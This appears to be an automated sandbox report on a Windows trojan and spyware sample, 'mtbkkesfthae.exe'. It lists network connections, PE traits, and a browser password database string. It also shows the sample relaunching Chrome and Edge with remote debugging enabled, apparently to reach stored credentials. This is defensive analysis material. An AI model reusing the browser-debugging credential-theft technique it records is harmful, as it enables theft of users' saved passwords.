Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.210.71:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.206.103.35:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.206.103.35:443 -> 192.168.2.7:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.1:443 -> 192.168.2.7:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.1:443 -> 192.168.2.7:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.7:49916 version: TLS 1.2

System Summary

PE file has a writeable .text section

Source: mtbkkesfthae.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: mtbkkesfthae.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@64/263@34/18

Source: C:\Users\user\Desktop\mtbkkesfthae.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\O3TWYN9N.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\c2bb1c38-400b-41fb-9e85-80f1a608f897.tmp

Jump to behavior

Source: mtbkkesfthae.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\mtbkkesfthae.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: DAKEHIJJK.0.dr, GCGCBAECF.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: mtbkkesfthae.exe	ReversingLabs: Detection: 57%
Source: mtbkkesfthae.exe	Virustotal: Detection: 59%

Source: unknown	Process created: C:\Users\user\Desktop\mtbkkesfthae.exe "C:\Users\user\Desktop\mtbkkesfthae.exe"
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2600 --field-trial-handle=2552,i,15530253951471776395,4344190351209215008,262144 /prefetch:8
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2440 --field-trial-handle=2248,i,9362391852228270588,9992411069803109561,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6452 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6732 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6724 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:8
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2600 --field-trial-handle=2552,i,15530253951471776395,4344190351209215008,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2440 --field-trial-handle=2248,i,9362391852228270588,9992411069803109561,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6452 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6732 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
